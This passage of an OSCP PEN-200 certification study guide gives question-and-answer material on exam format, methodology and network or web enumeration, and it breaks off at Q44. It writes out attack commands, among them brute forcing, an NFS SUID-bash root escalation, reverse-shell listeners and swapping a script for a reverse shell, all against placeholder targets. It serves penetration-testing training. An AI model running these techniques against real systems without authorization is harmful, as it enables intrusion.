

OFFENSIVE SECURITY | EXAM CODE: PEN-200

OSCP

PEN-200

Pen Testing

300 Interview Questions & Answers with Examples

Complete OSCP PEN-200 preparation covering all exam domains:

Network Recon | Exploitation | Privilege Escalation | Active Directory

Web Attacks | Buffer Overflow | Pivoting | Reporting

300

Questions

18

Sections

PEN-200

Exam Code

70 pts

Pass Score

Table of Contents

Offensive Security OSCP PEN-200 – Complete Interview Preparation Guide

#	Section	Key Topics	Q's
1	OSCP Fundamentals & Methodology	OSCP format, PEN-200, try harder, methodology, AutoRecon	21
2	Network Scanning & Enumeration	Nmap, gobuster, feroxbuster, SMB, SNMP, DNS, enum4linux	22
3	Exploitation Fundamentals	Metasploit, searchsploit, reverse shell, msfvenom, exploits	21
4	Linux Privilege Escalation	SUID, sudo, cron, GTFOBins, LinPEAS, kernel, capabilities	21
5	Windows Privilege Escalation	WinPEAS, token, PrintSpoofer, AlwaysInstallElevated, DLL	21
6	Active Directory Attacks	BloodHound, Kerberoast, AS-REP, DCSync, Golden Ticket	21
7	Password Attacks	Hashcat, John, Hydra, password spray, credential reuse	18
8	Web Application Exploitation	SQLi, file upload, LFI, SSTI, command injection, Burp	19
9	Buffer Overflow Exploitation	Buffer overflow, fuzzing, offset, bad chars, JMP ESP, NOP	14
10	Port Redirection & Tunneling	Chisel, ligolo-ng, Proxychains, SSH tunnel, pivoting	14
11	Antivirus Evasion	AMSI bypass, msfvenom encoding, process injection, LOLBins	12
12	Reporting & Documentation	Report template, proof.txt, screenshots, documentation	12
13	Linux Enumeration Post-Exploitation	LinPEAS, pspy, /proc, SSH keys, internal services	14
14	Windows Enumeration Post-Exploitation	WinPEAS, credential hunting, PowerShell, network discovery	14
15	OSCP Tools Reference	impacket, CrackMapExec, evil-winrm, Rubeus, secretsdump	14
16	OSCP Exam Preparation	Study plan, exam strategy, common failures, resources	14
17	Common OSCP Vulnerabilities	EternalBlue, vsftpd, Heartbleed, Drupal, Jenkins, Tomcat	14
18	OSCP Scenario Practice	AD chain, Linux scenario, Windows scenario, BOF walkthrough	14

300	18	PEN-200	70 pts
Total Questions	Sections	Exam Code	Passing Score

1 OSCP Fundamentals & Methodology

21 Qs

Q1 QUESTION

What is OSCP and what does it validate?

ANSWER

OSCP (Offensive Security Certified Professional) is the most respected hands-on penetration testing certification from Offensive Security. It validates: ability to perform a real-world penetration test, use exploitation tools and custom exploits, pivot through networks, and document findings professionally. Format: 24-hour practical exam – compromise minimum machines in an isolated exam network, then 24 more hours to write a professional penetration test report. No multiple choice – 100% hands-on. Example: OSCP holder can take an unknown target, enumerate services, identify vulnerabilities, develop/adapt exploits, gain access, escalate privileges, and pivot – all without hints or internet access.

Q2 QUESTION

What is the OSCP exam format and passing criteria?

ANSWER

OSCP exam (PEN-200): 24-hour proctored exam, isolated VPN network with target machines. Points: 3 standalone machines (20 pts each = 60 pts) + Active Directory set (40 pts total). Total: 100 pts. Passing score: 70 pts minimum. Bonus points: 10 bonus points for completing 80% of PEN-200 course exercises + 30 lab machines. Exam machines: mix of Windows and Linux, varying difficulty. After exam: 24 hours to write and submit professional penetration test report. Report must document all steps with screenshots and proof.txt files. No hints, no internet access to exploit databases, no AI tools during exam.

Q3 QUESTION

What is the OSCP penetration testing methodology?

ANSWER

OSCP methodology follows a systematic approach: (1) Information Gathering – port scanning (Nmap), service enumeration, web directory brute force; (2) Vulnerability Research – manual analysis, searchsploit, version-specific CVEs; (3) Exploitation – Metasploit (limited to 1 machine in exam), manual exploits; (4) Post-Exploitation – local enumeration, privilege escalation; (5) Lateral Movement – credential reuse, pivoting; (6) Documentation – screenshots, proof.txt collection throughout. Key principle: try harder – exhaust all enumeration before assuming there's nothing. Example: Nmap finds port 8080 □ gobuster finds /manager □ default credentials (tomcat/tomcat) □ WAR file upload □ shell.

Q4 QUESTION

What is the PEN-200 course structure?

ANSWER

PEN-200 (Penetration Testing with Kali Linux) covers: Information Gathering, Vulnerability Scanning, Web Application Attacks, SQL Injection, Client-Side Attacks, Locating Public Exploits, Fixing and Modifying Exploits, Antivirus Evasion, Privilege Escalation (Linux and Windows), Password Attacks, Port Redirection and Tunneling, Active Directory Attacks, The Metasploit Framework, PowerShell Empire. Lab environment: access to 70+ vulnerable machines across multiple networks. Exercise completion earns 10 bonus exam points. Recommended preparation: TJNull's OSCP prep list (HackTheBox and VulnHub machines mirroring exam difficulty).

Q5 QUESTION

What is the try harder mindset in OSCP?

ANSWER

Try Harder is Offensive Security's philosophy — exhaust every enumeration avenue before assuming nothing is there. Common OSCP mistakes: running Nmap on only top ports and missing a service on a high port, not fuzzing all web directories, not checking all ports for web services, giving up on exploit modification too early. Checklist mindset: did I scan all 65535 ports? Did I run gobuster on every web port? Did I check every service version against exploit databases? Did I try default credentials? Did I check for known CVEs manually? Example: Student stuck on machine for 3 hours □ adds -p- flag to Nmap □ finds port 50000 running vulnerable Jenkins □ RCE in 10 minutes.

Q6 QUESTION

What are the OSCP exam tips and strategies?

ANSWER

OSCP exam strategy: (1) Start with Active Directory set — 40 points, solving all gives a guaranteed pass with any 1 standalone; (2) Run AutoRecon on all machines simultaneously from the start — collect enumeration data while working; (3) Take breaks — 20 minutes every 2 hours prevents tunnel vision; (4) Document everything from minute 1 — screenshots, command output — don't rely on memory for report; (5) Try easy wins first on standalones; (6) Don't rabbit hole — set 30-minute timer on each path, move on if stuck; (7) Sleep for 4-6 hours if stuck — fresh eyes work. Proof collection: always run 'whoami && hostname && cat proof.txt' in one screenshot.

Q7 QUESTION

What is AutoRecon and why is it important for OSCP?

ANSWER

AutoRecon is an automated multi-threaded network reconnaissance tool that runs multiple scans simultaneously. Runs: Nmap (quick scan + full port + UDP), service-specific tools on discovered ports (gobuster on HTTP, nikto, enum4linux on SMB, smbclient, nmap NSE scripts). Output organized by target IP with separate files per tool. Command: 'autorecon 192.168.x.x' or 'autorecon 192.168.x.0/24' for full subnet. Why important: saves hours of manual enumeration — runs everything in parallel. OSCP exam: start AutoRecon on all exam targets immediately on exam start — enumeration continues while you work on other machines. Results available within 15-30 minutes.

Q8 QUESTION

What is the difference between OSCP and CEH?

ANSWER

OSCP vs CEH: OSCP is 100% practical — 24-hour hands-on exam compromising real machines, no multiple choice. CEH is primarily multiple choice (125 questions) testing theoretical knowledge. Industry perception: OSCP is highly respected by penetration testers and security firms — proves actual hacking ability. CEH is recognized in corporate HR and government (DoD 8570) but less valued by technical practitioners. OSCP requires: enumeration, exploitation, privilege escalation, pivoting, and professional reporting — all demonstrated practically. Difficulty: OSCP is significantly harder — pass rate is lower. Career: OSCP opens penetration testing consultant and red team roles. Both have value for different career paths.

Q9 QUESTION

What is Kali Linux for OSCP?

ANSWER

Kali Linux is the primary attack platform for OSCP. Key pre-installed tools: Nmap (scanning), Metasploit (exploitation), Burp Suite (web), sqlmap (SQL injection), Wireshark (packet analysis), Aircrack-ng (wireless), John the Ripper + Hashcat (password cracking), impacket (Active Directory attacks), CrackMapExec (network attack automation), BloodHound (AD analysis), Gobuster/feroxbuster (directory brute force), Nikto (web scanner), searchsploit (exploit search). OSCP customization: set up tmux (terminal multiplexer – split panes), configure VPN, set up a notes template. Example .bashrc alias: 'alias nmap-full="nmap -sC -sV -p- -oA"' – runs comprehensive scan with output saving.

Q10 QUESTION

What is a proof.txt file in OSCP?

ANSWER

proof.txt files are the OSCP exam evidence of machine compromise. Location: /root/proof.txt (Linux root), C:\Users\Administrator\Desktop\proof.txt (Windows admin). Contains: unique hash string per machine per exam attempt. Requirements: must be captured as privileged user (root on Linux, SYSTEM/Administrator on Windows), must show hostname and whoami in the same screenshot. Local.txt: found in unprivileged user home directories – partial credit for user-level access. Exam documentation: screenshot showing 'whoami' output (root/SYSTEM) + 'hostname' + 'cat proof.txt' in one terminal window. This proves you had root/admin access when you read the file.

Q11 QUESTION

What is the OSCP report requirement?

ANSWER

OSCP exam report must be professional penetration test quality. Required for each compromised machine: (1) IP address and hostname; (2) Vulnerability description – what was vulnerable and why; (3) Complete reproduction steps – every command, every tool, every URL; (4) Screenshots – each step with command and output visible, proof.txt screenshot; (5) Remediation recommendation – how to fix the vulnerability. Format: PDF submitted via Offensive Security portal within 24 hours of exam end. Template: Offensive Security provides an official report template. Professional tone: written as if presenting to a client. Missing screenshots or unclear steps = no credit for that machine. Example tools: Obsidian (notes during exam), CherryTree, or Notion for note-taking.

Q12 QUESTION

What are common OSCP rabbit holes to avoid?

ANSWER

Rabbit holes are dead-end paths that waste exam time. Common rabbit holes: (1) Outdated exploit that looks promising but doesn't work – set 30-minute time limit; (2) Web application path that requires a password you don't have; (3) Service that appears vulnerable but the version is patched; (4) Brute forcing credentials without evidence they exist; (5) Chasing rabbit trails from Nikto false positives. OSCP strategy: breadth first – fully enumerate EVERYTHING before exploiting anything. Complete checklist: all ports, all web directories, all service versions, all default credentials, all config files. Only then exploit most promising path. Example: Student spent 4 hours on an IIS exploit – should have checked port 8080 which had Tomcat with default credentials (5-minute compromise).

Q13 QUESTION

What is the OSCP lab environment?

ANSWER

OSCP lab (PEN-200 lab) provides: 70+ vulnerable machines across multiple networks. Networks: public (direct access), IT (requires pivoting from public), dev (requires pivoting from IT), admin (hardest – requires multiple pivots). Machine types: Windows (various versions from XP to 2019), Linux (various distributions), Active Directory environment. Lab access: 90-day or 365-day subscription, VPN connection, 12 hours/day access. Strategy: compromise public network first, find pivoting credentials, expand through networks. Dependency machines: some lab machines require compromising another first. OSCP experience improves with: VulnHub OSCP prep list, HackTheBox (Retired machines), TryHackMe OSCP paths.

Q14 QUESTION

What is the PWK/PEN-200 course update in 2023?

ANSWER

PEN-200 2023 update major additions: expanded Active Directory section (now covers full AD attack chain including BloodHound, ACL abuses, delegation attacks), new Antivirus Evasion module (AMSI bypass, shellcode obfuscation), improved Web Application Attacks module, added Client-Side Attacks module expansion, updated Metasploit module, added dedicated Reporting module. New exam format: 3 standalone machines (60 pts) + 1 AD set (40 pts). Total 100 pts. Bonus points: 10 pts for completing 80% course exercises + 30 lab machines documented in bonus report. The bonus points often make the difference between passing and failing – always complete them.

Q15 QUESTION

What is the OSCP exam control panel?

ANSWER

OSCP exam control panel provides: VPN pack download (connect to exam network), target machine IPs (revealed at exam start), proctoring software link (must be running before exam), Exam Attempt ID (include in every proof screenshot), submit button for final answers. At exam start: download VPN pack → connect → verify connectivity → start AutoRecon immediately. Exam network: completely isolated – no internet access, no exploit database access. Allowed during exam: your own notes from course, downloaded tools on Kali, course PDF. Control panel also shows: current points submitted (submit proofs as you go), exam time remaining, emergency contact for technical issues.

Q16 QUESTION

What is the OSCP bonus points system?

ANSWER

Bonus 10 points awarded for completing: 80% or more of PEN-200 module exercises (documented in bonus report) AND 30 lab machine proofs (document each with proof.txt screenshot and short writeup). Bonus report submitted separately before exam day via Offensive Security portal. Bonus report format: follow template provided by OffSec. Strategic importance: 10 bonus points means you only need 60 points from exam machines (instead of 70) to pass. AD set (40) + 1 standalone (20) + bonus (10) = 70 – pass. Without bonus: need AD set + 2 standalones. Complete bonus report in first month – gives you safety margin on exam day.

Q17 QUESTION

What are the OSCP rules of engagement?

ANSWER

OSCP exam rules: Metasploit framework: allowed on only ONE machine (exam machine of your choice). Meterpreter: counts as Metasploit use — one machine only. SQLmap: allowed on all machines (not considered Metasploit). Multi/handler: does NOT count as Metasploit use — can be used on all machines. Commercial tools: not allowed (Cobalt Strike, Core Impact). AI tools: not allowed during exam. Internet access: not allowed during exam (except VPN and proctoring software). Allowed: all tools pre-installed on Kali, custom scripts, searchsploit (offline database), your own notes. Prohibited: sharing exam machine details publicly, helping others during exam.

Q18 QUESTION

What is the OSCP exam scoring breakdown?

ANSWER

OSCP exam scoring: 3 standalone machines each worth 20 points (total 60 pts). Active Directory set worth 40 points total — partial credit for foothold and user, full 40 for Domain Admin. Bonus points: 10 pts for completing exercises and 30 lab machines (submitted separately before exam). Total available: 110 points (100 exam + 10 bonus). Passing: 70 points minimum. Common passing combinations: AD set (40) + 2 standalones (40) = 80, bonus not needed. AD set (40) + 1 standalone (20) + bonus (10) = 70, minimum pass. 3 standalones (60) + bonus (10) = 70, AD not needed (rare). Strategy: bonus points are free — complete them. AD set is all-or-nothing for full 40 — understand full AD chain before attempting.

Q19 QUESTION

What is the OSCP VPN setup and connectivity?

ANSWER

OSCP exam uses OpenVPN for network connectivity. Setup: download VPN pack from control panel, import to OpenVPN — 'sudo openvpn exam.ovpn'. Verify connectivity: 'ping 192.168.x.x' to any exam target. Network interfaces: tun0 should appear — use this IP as LHOST for reverse shells. Common issue: VPN drop during exam — keep ovpn file ready to reconnect. LHOST for payloads: always use tun0 IP not eth0. Check tun0 IP: 'ip addr show tun0'. Pre-exam test: test VPN pack day before — some packs are single-use but connectivity should be confirmed. Lab VPN: different from exam VPN — exam VPN is only valid during your exam window. If VPN drops: reconnect immediately, inform proctor, connections to machines may need re-establishing but progress is saved on machines.

Q20 QUESTION

What tools are allowed in the OSCP exam?

ANSWER

OSCP exam allowed tools: All Kali Linux pre-installed tools. Custom scripts you wrote. Searchsploit (offline ExploitDB). Metasploit framework (on one machine only). SQLmap (all machines — not counted as Metasploit). Multi/handler for catching shells (all machines). Notes from your own study. Not allowed: online exploit databases during exam, AI assistants, ChatGPT, commercial tools (Cobalt Strike), help from others, internet browsing for exploits. Preparation strategy: download all needed exploits to your Kali before exam day using searchsploit. Test all tools work before exam. Prepare custom scripts for common tasks. Have your methodology notes ready in a local file. Build a cheat sheet with common commands for all phases — saved to local file, usable during exam.

Q21 QUESTION

What prerequisite knowledge is needed for OSCP?

ANSWER

Recommended knowledge before PEN-200: Networking fundamentals (TCP/IP, subnetting, OSI model, common protocols), Linux command line proficiency (navigation, permissions, text processing with `grep/awk/sed`), Windows administration basics (Active Directory concepts, PowerShell basics), scripting fundamentals (Python or Bash for modifying exploits), web technologies (HTTP methods, HTML, SQL basics). Not required but helpful: prior CTF experience on TryHackMe or HackTheBox, CompTIA Security+ or Network+ foundation. Study path for beginners: TryHackMe Pre-Security path (1 month) + Jr Penetration Tester path (2-3 months) + OSCP 90-day subscription. Intermediate path: directly start TJNull HackTheBox prep list (2 months) + OSCP. OSCP typically takes 3-6 months of dedicated part-time study. Start with networking if anything feels unfamiliar — a misconfigured IP or wrong subnet mask wastes hours during exam.

2 Network Scanning & Enumeration

22 Qs

Q22 QUESTION

What is the OSCP standard Nmap scanning approach?

ANSWER

OSCP Nmap methodology: Step 1 — Quick scan for common ports: 'nmap -sV -sC --open -oA quick 192.168.x.x'. Step 2 — Full port scan: 'nmap -p- --min-rate 5000 -oA allports 192.168.x.x'. Step 3 — Service scan on found ports: 'nmap -sV -sC -p [found ports] -oA targeted 192.168.x.x'. Step 4 — UDP scan: 'nmap -sU --top-ports 25 192.168.x.x'. Flags: -sV (version), -sC (default scripts), -oA (all output formats), --open (only open ports). OSCP lesson: always scan all 65535 TCP ports — critical services often run on non-standard ports. Example: 'nmap -p- --min-rate 5000 target' finds port 55555 running vulnerable Nessus — not found in default top-1000 scan.

Q23 QUESTION

What is service enumeration methodology in OSCP?

ANSWER

OSCP service enumeration by port: Port 21 (FTP): 'nmap --script=ftp-anon' (anonymous login?), 'ftp target' with anonymous/anonymous. Port 22 (SSH): note version, try default creds if other creds found. Port 25 (SMTP): 'nmap --script=smtp-commands,smtp-enum-users'. Port 80/443 (HTTP): gobuster, nikto, manual browsing, view source. Port 139/445 (SMB): enum4linux-ng, smbclient, CrackMapExec, nmap smb scripts. Port 1433 (MSSQL): nmap scripts, impacket mssqlclient.py. Port 3306 (MySQL): 'mysql -u root -h target'. Port 3389 (RDP): test credentials. Port 5985 (WinRM): evil-winrm with credentials. Each service gets full enumeration before moving on.

Q24 QUESTION

What is gobuster and directory brute forcing?

ANSWER

Gobuster finds hidden web directories and files by brute force. Commands: 'gobuster dir -u http://192.168.x.x -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt,bak -o gobuster.txt'. Flags: -u (URL), -w (wordlist), -x (file extensions), -t (threads), -s (status codes to show), -b (blacklist status codes), -k (skip TLS verification). Alternative: feroxbuster (recursive — automatically finds and scans subdirectories). Wordlists: /usr/share/seclists/Discovery/Web-Content/ (SecLists). Example: gobuster finds /admin (403), /backup (200), /upload.php (200) — backup directory has SQL dump with password hashes, upload.php allows PHP webshell upload — machine compromised.

Q25 QUESTION

What is SMB enumeration in OSCP?

ANSWER

SMB enumeration steps: (1) 'nmap --script=smb-vuln* 192.168.x.x' — check for EternalBlue, MS08-067; (2) 'enum4linux-ng -A 192.168.x.x' — full enumeration (users, shares, groups, password policy); (3) 'smbclient -L //192.168.x.x -N' — list shares anonymously; (4) 'smbclient //192.168.x.x/share -N' — connect to share; (5) 'CrackMapExec smb 192.168.x.x --shares' — enumerate with authentication. Key finds: readable shares with sensitive files (config files, credentials, source code), write permissions (upload reverse shell), anonymous access to user data. Example: smbclient connects to NETLOGON share anonymously □ finds .vbs logon script with hardcoded credentials □ credentials work on SMB admin □ psexec □ SYSTEM shell.

Q26 QUESTION

What is web application enumeration in OSCP?

ANSWER

Web application enumeration: (1) Browse manually — view page source (comments, hidden fields, API endpoints), check robots.txt, sitemap.xml, /README, /CHANGELOG, /.git/; (2) gobuster/feroxbuster — directory and file brute force; (3) Nikto — quick vulnerability scan; (4) WhatWeb — identify CMS and technology; (5) Check CMS version against exploit databases (wpscan for WordPress: 'wpscan --url http://target.com --enumerate p,u'); (6) Check all parameters for injection; (7) Test file upload functionality. Example: robots.txt reveals Disallow: /secret-admin-panel, WhatWeb reveals Drupal 7.54, searchsploit finds Drupalgeddon2 RCE — all from enumeration before any exploitation.

Q27 QUESTION

What is SNMP enumeration in OSCP?

ANSWER

SNMP enumeration discovers network device information and sometimes credentials. Scan: 'nmap -sU -p 161 192.168.x.x'. Brute force community strings: 'onesixtyone -c /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt 192.168.x.x'. Walk SNMP: 'snmpwalk -c public -v2c 192.168.x.x'. Extended MIB: 'snmpwalk -c public -v2c 192.168.x.x .1' (full MIB dump). Windows via SNMP: running processes, installed software, open TCP ports, user accounts, network interfaces. Example: snmpwalk reveals running processes including 'backup.bat' in a writable directory □ replace backup.bat with reverse shell payload □ SYSTEM shell when scheduled backup runs.

Q28 QUESTION

What is NFS enumeration?

ANSWER

NFS (Network File System) enumeration finds mountable network shares. Scan: 'nmap -p 111,2049 -sV 192.168.x.x'. List exports: 'showmount -e 192.168.x.x'. Mount share: 'mkdir /mnt/nfs && mount -t nfs 192.168.x.x:/export /mnt/nfs'. Common findings: world-readable home directories (SSH keys, config files), world-writable directories (upload reverse shells), squash settings (no_root_squash means root on attacker = root on share). no_root_squash exploit: create SUID bash on share as local root □ bash remains SUID on server □ execute for root shell. Example: '/home/user exported with no_root_squash' □ mount □ copy /bin/bash to share □ chmod 4755 □ execute on target as user □ root shell.

Q29 QUESTION

What is DNS enumeration in OSCP context?

ANSWER

DNS enumeration discovers additional hostnames and subdomains. Zone transfer: 'dig axfr @192.168.x.x domain.local' — dumps all DNS records if misconfigured. Reverse lookup: 'dig -x 192.168.x.x @192.168.x.1' — find hostname from IP. Forward lookup brute force: 'dnsrecon -d domain.local -t brt -D /usr/share/seclists/Discovery/DNS/namelist.txt'. Virtual host discovery (important for OSCP): web server may host multiple sites — 'gobuster vhost -u http://192.168.x.x -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt' or add discovered hostnames to /etc/hosts. Example: /etc/hosts shows 192.168.x.x dev.target.local — add to /etc/hosts — browse dev.target.local — finds development site with debug mode and credentials.

Q30 QUESTION

What is OSCP web application fingerprinting?

ANSWER

Technology identification determines attack surface. Tools: WhatWeb ('whatweb http://target'), Wappalyzer browser extension, curl headers ('curl -I http://target'). What to identify: web server (Apache, Nginx, IIS), CMS (WordPress, Drupal, Joomla), framework (PHP, ASP.NET, Python), version numbers (crucial for exploit research). CMS-specific scanners: wpscan (WordPress), droopescan (Drupal/Silverstripe/Joomla). Version $\square$ searchsploit $\square$ RCE. Example: WhatWeb reveals 'Concrete CMS 8.5.2' $\square$ searchsploit 'concrete5 8.5.2' $\square$ finds authenticated RCE $\square$ find admin panel via gobuster $\square$ spray default/common credentials $\square$ log in $\square$ RCE $\square$ shell.

Q31 QUESTION

What is the OSCP checklist for stuck situations?

ANSWER

When stuck in OSCP — full enumeration checklist: TCP: all 65535 ports scanned? UDP: top 25 ports scanned? Web: every found port checked for HTTP? Every web port has gobuster run? All found directories explored? All parameters tested for injection? Files checked for credentials? Source code reviewed? SMB: shares enumerated, accessible? Files in shares reviewed? FTP: anonymous login tried? Files downloaded and reviewed? Database: default credentials tried? Can you authenticate? Credentials found anywhere: tried on SSH, RDP, SMB, WinRM, FTP? Version numbers searched in searchsploit? ExploitDB searched manually? Google search 'service version exploit'? If all yes — start over with more aggressive enumeration settings.

Q32 QUESTION

What is OSCP network scanning for exam network?

ANSWER

OSCP exam network scanning approach: (1) Immediately start AutoRecon on all targets: 'autorecon -t targets.txt --only-scans-dir -o /home/kali/exam'; (2) While AutoRecon runs, manually start Nmap on each target; (3) Review AutoRecon results as they complete (20-40 minutes); (4) Prioritize targets based on enumeration results. Targets.txt: list all exam machine IPs provided in exam control panel. AutoRecon generates: results/[IP]/scans/ directory with all tool outputs. Key files: _quick_tcp_nmap.txt (first results), _full_tcp_nmap.txt (all ports), HTTP-80.md (web findings). Example exam start: 'autorecon 192.168.x.x 192.168.x.y 192.168.x.z 10.10.10.x --only-scans-dir -v' — all targets simultaneously.

Q33 QUESTION

What is Netcat for OSCP?

ANSWER

Netcat (nc) is essential for OSCP — used throughout all phases. Listener for reverse shells: 'nc -lvp 4444'. Connect to service (banner grab): 'nc -nv 192.168.x.x 8080'. File transfer — receiver: 'nc -lvp 4444 > received_file', sender: 'nc -nv 192.168.x.x 4444 < send_file'. Port scanning: 'nc -nvzw1 192.168.x.x 1-1000'. Ncat (enhanced nc): '--ssl' for encrypted connections, '--exec' for command execution, '--allow' for IP filtering. Windows nc alternative: 'nc.exe' uploaded to target, PowerShell download cradle for nc, or use PowerShell built-in TCP client. Example: 'nc -lvp 4444' on attacker $\square$ exploit sends reverse shell to 4444 $\square$ interactive shell received $\square$ run enumeration commands.

Q34 QUESTION

What is the OSCP information gathering phase?

ANSWER

OSCP information gathering is systematic and thorough. For each target: (1) Quick port scan — identify open ports fast; (2) Full port scan — miss nothing; (3) Service scan — exact versions; (4) Script scan — NSE scripts for known issues; (5) UDP scan — don't skip; (6) Web enumeration if HTTP found; (7) Service-specific enumeration based on findings. Notes template: create a file per target IP with sections for each finding. Example template: '# 192.168.x.x\n## Ports\n## HTTP\n## SMB\n## Vulnerabilities\n## Exploitation\n## PrivEsc\n## Credentials'. Credential master list: maintain a single file with all found credentials — try against every service on every machine.

Q35 QUESTION

What is enum4linux-ng for Windows enumeration?

ANSWER

enum4linux-ng is the updated Python version of enum4linux for SMB/NetBIOS enumeration. Command: 'enum4linux-ng -A 192.168.x.x' (full enumeration). Enumerates: workgroup/domain, OS version, users (via SAM, LDAP, RPC), groups, shares (anonymous access), password policy, printer info. Null session: attempts anonymous RPC connection. Output: clean, colored, saves to JSON/YAML. Compare to old enum4linux: more reliable, handles modern Windows better, better output. Example: 'enum4linux-ng -A 192.168.x.x' returns: users [alice, bob, administrator], shares [SYSVOL, NETLOGON, Data], password policy [min 7 chars, no lockout] — complete attack surface mapped without credentials.

Q36 QUESTION

What is wpscan for WordPress enumeration?

ANSWER

wpscan is the WordPress security scanner. Commands: 'wpscan --url http://target.com' (basic), '--enumerate p' (plugins), '--enumerate u' (users — important for credential attacks), '--enumerate t' (themes), '--api-token [token]' (vulnerability database access — free registration at wpscan.com). Password brute force: 'wpscan --url http://target.com -U admin -P rockyou.txt --password-attack xmlrpc' (xmlrpc is faster than login form). Vulnerability output: shows CVE, severity, authenticated/unauthenticated, exploit link. Example: 'wpscan --url http://target.com --enumerate u,p --api-token TOKEN' finds user 'admin', plugin 'Contact Form 7 5.3.1' with CVE authenticated file upload RCE.

Q37 QUESTION

What is feroxbuster vs gobuster?

ANSWER

Both brute force web directories but feroxbuster has key advantages. Feroxbuster: recursive scanning (automatically scans discovered directories), faster, auto-detect extensions, smart filtering. Gobuster: simpler, widely known, good for basic enumeration. Feroxbuster command: 'feroxbuster -u http://target.com -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -x php,html,txt,bak --auto-tune'. Recursion: feroxbuster finds /admin and automatically scans /admin/panel/, /admin/users/, etc. OSCP usage: feroxbuster first (recursive, catches subdirectories), gobuster for specific targeted scans. Example: gobuster misses /backup/old/ because it only checks /backup. Feroxbuster finds /backup and recursively scans and discovers /backup/old/config.bak with database credentials.

Q38 QUESTION

What is Nikto web server scanner?

ANSWER

Nikto performs comprehensive web server scanning for known vulnerabilities and misconfigurations. Command: 'nikto -h http://target.com' or 'nikto -h 192.168.x.x -p 8080'. Checks: outdated server software, dangerous HTTP methods (PUT, DELETE), default files, backup files (.bak, .old, ~), server headers disclosing info, common vulnerabilities, CGI issues. Output: findings with OSVDB references. Limitations: noisy (easily detected), generates many false positives, cannot replace manual testing. OSCP use: run on every web service during enumeration phase — takes 2-3 minutes, may find quick wins. Example: Nikto finds 'X-Powered-By: PHP/7.2.24-0ubuntu0.18.04.1' (version disclosure), '/phpmyadmin/ (200)' (exposed database admin), '/backup.sql (200)' (database backup file) — multiple attack vectors in one scan.

Q39 QUESTION

What is the OSCP web enumeration checklist?

ANSWER

Web enumeration checklist: robots.txt (always check), sitemap.xml, /README, /CHANGELOG, /.git/ (check all — git config/HEAD/ORIG_HEAD), /admin, /administrator, /login, /dashboard, /api. Check ALL response codes — 403 may be bypassed. View-source (Ctrl+U) — comments, hidden fields, JS files, API endpoints. HTTP headers: X-Powered-By (tech stack), Server (version). SSL certificate (names, SANs — may reveal other hostnames). JavaScript files: 'curl http://target.com/app.js' — may contain API keys, endpoints, credentials. Parameters in URL: test all for injection. Forms: test all input fields. Upload functionality: test all file upload points. Example: View-source reveals — instant RCE.

Q40 QUESTION

What is UDP scanning methodology in OSCP?

ANSWER

UDP scanning is often skipped but reveals critical services. Command: 'nmap -sU --top-ports 25 -sV target' for quick UDP scan. Full UDP: 'nmap -sU -p- --min-rate 5000 target' (slow — UDP has no handshake). Key UDP services: 53 (DNS — zone transfer), 69 (TFTP — often unauthenticated file access), 111 (RPCbind), 161 (SNMP — enumerate users, software, processes), 500 (IKE/VPN), 623 (IPMI — default credentials give BIOS password hash). SNMP is most commonly missed: 'nmap -sU -p 161 target' then 'snmpwalk -c public -v2c target'. IPMI exploitation: 'use auxiliary/scanner/ipmi/ipmi_dumphashes' in Metasploit — extracts user hashes without authentication. Example: UDP scan reveals SNMP on port 161, snmpwalk returns running process list showing backup.py script path, credentials found in script content.

Q41 QUESTION

What is virtual host enumeration in OSCP?

ANSWER

Virtual hosts allow one IP to serve multiple websites. A web server may have a restricted admin panel only accessible via specific hostname. Discovery: check /etc/hosts on target, check SSL certificate SAN fields (Subject Alternative Names), brute force with gobuster vhost mode. Gobuster vhost: 'gobuster vhost -u http://192.168.x.x -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --append-domain'. Wfuzz vhost: 'wfuzz -c -w wordlist -H "Host: FUZZ.target.htb" http://192.168.x.x'. Add discovered to /etc/hosts: 'echo "192.168.x.x dev.target.htb" >> /etc/hosts'. Example: Main site has nothing interesting. SSL cert shows SAN dev.target.htb. Add to /etc/hosts. Browse dev.target.htb — development site with debug mode enabled showing stack traces and credentials. Admin panel accessible only via internal hostname bypassed completely.

Q42 QUESTION

What is banner grabbing and version detection in OSCP?

ANSWER

Banner grabbing extracts service version info without full Nmap scan. Netcat: 'nc -nv target 21' (FTP banner), 'nc -nv target 25' (SMTP), 'nc -nv target 80' then 'HEAD / HTTP/1.0' (web server). curl: 'curl -I http://target' (HTTP headers including Server and X-Powered-By). Telnet: 'telnet target 110' (POP3). SSH version: 'ssh -V -o BatchMode=yes target 2>&1'. Nmap version scan: 'nmap -sV -p port target'. Why matters: exact version determines applicable CVEs. Apache 2.4.49 vs 2.4.50 is difference between path traversal RCE and nothing. PHP 8.1.0-dev has backdoor in User-Agent header. OpenSSH version reveals OS and patch level. Example: Banner grab on port 8080 returns 'Jetty/9.4.31' — searchsploit jetty 9.4 — finds information disclosure CVE — read sensitive application config — credentials found — full access.

Q43 QUESTION

What is the complete web enumeration process in OSCP?

ANSWER

Full web enumeration for OSCP: Phase 1 passive (5 min): curl -I for headers, WhatWeb for technology stack, view-source on main pages, robots.txt, sitemap.xml, SSL certificate SAN fields. Phase 2 automated discovery (15 min): feroxbuster recursive with raft-medium wordlist and php/html/txt/bak/zip extensions. Phase 3 CMS specific (10 min): identify CMS from WhatWeb, run wpscan for WordPress or droopescan for Drupal/Joomla, searchsploit identified version. Phase 4 manual analysis (15 min): test all forms for injection, test file upload, check JavaScript files for API endpoints, view source on each page. Phase 5 deep enumeration (15 min): check /.git/ directory, test virtual hosts, fuzz all URL parameters. Document every finding in notes. Total: 60 minutes thorough web enumeration. Most OSCP web machines reveal their attack vector in Phase 1-2. Phase 4-5 needed for harder machines requiring chaining.

3 Exploitation Fundamentals

21 Qs

Q44 QUESTION

What is searchsploit and ExploitDB usage in OSCP?

ANSWER

